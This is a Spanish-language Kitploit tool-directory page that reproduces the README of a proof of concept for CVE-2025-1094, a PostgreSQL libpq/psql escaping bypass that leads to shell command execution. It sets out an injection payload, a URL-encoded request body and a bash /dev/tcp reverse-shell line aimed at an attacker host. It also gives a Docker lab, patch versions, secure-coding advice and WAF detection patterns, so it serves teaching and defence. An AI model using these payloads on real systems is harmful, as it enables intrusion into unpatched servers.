Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
POC-CVE-2025-1094 — Explotación de prueba de concepto para CVE-2025-1094, una inyección SQL en psql de PostgreSQL que conduce a RCE mediante la omisión de escape de libpq. Incluye entorno Docker, script de explotación y orientación de mitigación. | Kitploit
Herramientas/GitHubGitHub/trandonga3/poc-cve-2025-1094
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubtrandonga3/poc-cve-2025-1094

POC-CVE-2025-1094

Explotación de prueba de concepto para CVE-2025-1094, una inyección SQL en psql de PostgreSQL que conduce a RCE mediante la omisión de escape de libpq. Incluye entorno Docker, script de explotación y orientación de mitigación.

Ver Repositorio
hace 3 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

PoC CVE-2025-1094: Inyección SQL en psql de PostgreSQL

Prueba de concepto para la vulnerabilidad crítica de inyección SQL en el cliente libpq de PostgreSQL y la herramienta psql

📋 Tabla de contenidos

  1. Introducción a la vulnerabilidad
  2. Estructura del directorio del proyecto
  3. Análisis del payload de ataque
  4. Guía de uso
  5. Mitigación y prevención

1. Introducción a la vulnerabilidad

Descripción general

CVE-2025-1094 es una vulnerabilidad crítica en la biblioteca cliente libpq y la herramienta de línea de comandos psql de PostgreSQL. Esta vulnerabilidad permite a un atacante realizar inyección SQL y escalar a ejecución remota de código (RCE) incluso cuando la aplicación ha usado funciones de escape de cadenas estándar como .

PQescapeLiteral

Causa raíz

El error surge de la inconsistencia en el manejo de cadenas de bytes multibyte no válidos (como UTF-8) entre la biblioteca de escape y el analizador sintáctico de psql.

Dos mecanismos de ataque principales:

1. Bypass de escape

  • La función PQescapeLiteral es engañada por un "byte nuevo" (por ejemplo 0xC0)
  • Considera que este byte y la comilla simple (') adjunta son un único carácter
  • Lo que resulta en que esa comilla simple no se escape

2. RCE a través de metacomandos

  • Cuando esta cadena defectuosa se introduce en la herramienta psql
  • El atacante puede salir de la sentencia SQL y usar el comando de sistema \! de psql
  • Permitiendo ejecutar código shell arbitrario en el servidor

2. Estructura del directorio del proyecto

El proyecto está organizado para simular un entorno realista al llamar a la función C libpq:

root@kitploit:~
.
├── docker-compose.yml       # Inicia PostgreSQL + App Web
├── exolit.py               # Script de explotación - Ataque desde el exterior
├── README.md               # Este documento
└── app/
    ├── app.py             # Aplicación web Flask - Recibe entrada del usuario
    ├── Dockerfile         # Construye imagen con código vulnerable
    └── init_db.sql        # Inicializa la base de datos

Componentes principales:

  • Flask Web App: Recibe entrada del usuario a través del endpoint /search
  • Función C libpq: Procesa la consulta SQL pero no verifica bytes válidos
  • Metacomandos psql: Permite ejecutar comandos del sistema mediante \!
  • Tubería de subproceso: La aplicación introduce la sentencia SQL en psql a través del flujo de entrada

3. Análisis del payload de ataque

Payload de ejemplo

root@kitploit:~
hax\xc0'; \! id; #

Desglose de cada componente:

ComponenteValorSignificado
Data inputhaxDatos normales
Byte nuevo\xc0Byte UTF-8 no válido - bypass de escape
Comilla'Comilla simple "invisible" - elude el filtro
Fin SQL;Finaliza la sentencia SQL actual
Metacomando\!Comando especial de psql - sale al shell del sistema operativo
Comando shellidComando a ejecutar (puede reemplazarse por una reverse shell)
Comentario#Marca de comentario SQL - desactiva el resto

Proceso de ejecución:

root@kitploit:~
1. Input user: hax\xc0'; \! id; #
   ↓
2. PQescapeLiteral() no reconoce \xc0 + ' como un ataque
   ↓
3. La cadena se envía a psql: hax\xc0'; \! id; #
   ↓
4. psql analiza: la parte \xc0 se considera como fin de cadena
   ↓
5. El metacomando \! se activa
   ↓
6. El comando shell id se ejecuta con los permisos del contenedor

4. Guía de uso

Método 1: Usar Docker Compose (Recomendado)

Paso 1: Iniciar el entorno

root@kitploit:~
docker-compose up -d

Paso 2: Esperar que los contenedores se inicien

root@kitploit:~
docker-compose ps

Asegúrese de que tanto PostgreSQL como la aplicación Flask estén en ejecución.

Paso 3: Ejecutar el exploit

root@kitploit:~
python exolit.py

Resultado esperado: Mostrará la información uid=0(root) obtenida del servidor

Paso 4: Detener el entorno

root@kitploit:~
docker-compose down

Método 2: Usar Burp Suite (Manual)

Enviar petición HTTP

Envíe una petición POST a /search con el siguiente body:

root@kitploit:~
name=hax%c0%27;+\!+id+;+%23

Codificación URL de referencia:

  • %c0 = \xc0 (byte UTF-8 no válido)
  • %27 = ' (comilla simple)
  • %23 = # (signo de almohadilla)
  • + = espacio

Payload de reverse shell:

root@kitploit:~
hax%c0%27;+\!+bash+-c+"bash+-i+>%26+/dev/tcp/<ip-hacker>/<port-hacker>+0>%261"+;+%23

Nota: Reemplace <ip-hacker> y <port-hacker> con la IP y el puerto de la máquina del atacante

5. Mitigación y prevención

A. Actualizar con parche

Actualice PostgreSQL a las versiones parcheadas:

VersiónVersión segura
17.x≥ 17.3
16.x≥ 16.7
15.x≥ 15.11
14.x≥ 14.16
13.x≥ 13.19

B. Verificar la codificación

Siempre valide que los datos de entrada sean UTF-8 válido antes de procesarlos:

root@kitploit:~
def validate_utf8(data):
    try:
        data.encode('utf-8').decode('utf-8')
        return True
    except UnicodeDecodeError:
        return False

C. Limitar el uso de psql CLI

En la programación de aplicaciones, utilice las bibliotecas de controladores oficiales:

root@kitploit:~
# ❌ NO: Usar subprocess + psql
subprocess.run(['psql', '-c', user_input])

# ✅ SÍ: Usar consultas parametrizadas con psycopg2
import psycopg2
conn = psycopg2.connect("...")
cursor = conn.cursor()
cursor.execute("SELECT * FROM users WHERE name = %s", (user_input,))

D. Principio de mínimo privilegio

  • No ejecutar la aplicación web como root
  • No ejecutar la base de datos como root
  • Usar un usuario dedicado con los mínimos privilegios

E. Reglas WAF / IDS

Configure reglas para detectar patrones:

root@kitploit:~
- Byte 0xC0, 0xC1 en el cuerpo de la petición
- Metacomando `\!` en la entrada del usuario
- Cadenas como `; \!` o `' \!`

📚 Referencias

  1. Enlace al archivo fuente (Antes del parche) Puede ver el archivo src/interfaces/libpq/fe-exec.c en la versión 17.2 (versión aún vulnerable):

    • Enlace GitHub: PostgreSQL fe-exec.c en el tag REL_17_2 (https://github.com/postgres/postgres/blob/REL_17_2/src/interfaces/libpq/fe-exec.c)
    • Función importante: Busque la función PQescapeStringInternal (normalmente alrededor de la línea 3400 en adelante). Esta es la función "núcleo" a la que llaman tanto PQescapeLiteral como PQescapeString.

  2. Ver "El Parche" (The Patch) - Lo más importante para White-box Para entender por qué ocurrió el error y cómo lo corrigieron, la mejor manera es ver el Commit Diff (el cambio entre la versión vulnerable y el parche).

    • Enlace de commit oficial: Fix escaping of invalid multibyte characters in libpq (https://github.com/postgres/postgres/commit/8276f5055b1111005a8ce6f15792015e71f5307b)

  3. Análisis de la vulnerabilidad : https://www.rapid7.com/blog/post/2025/02/13/cve-2025-1094-postgresql-psql-sql-injection-fixed/

Descargar herramienta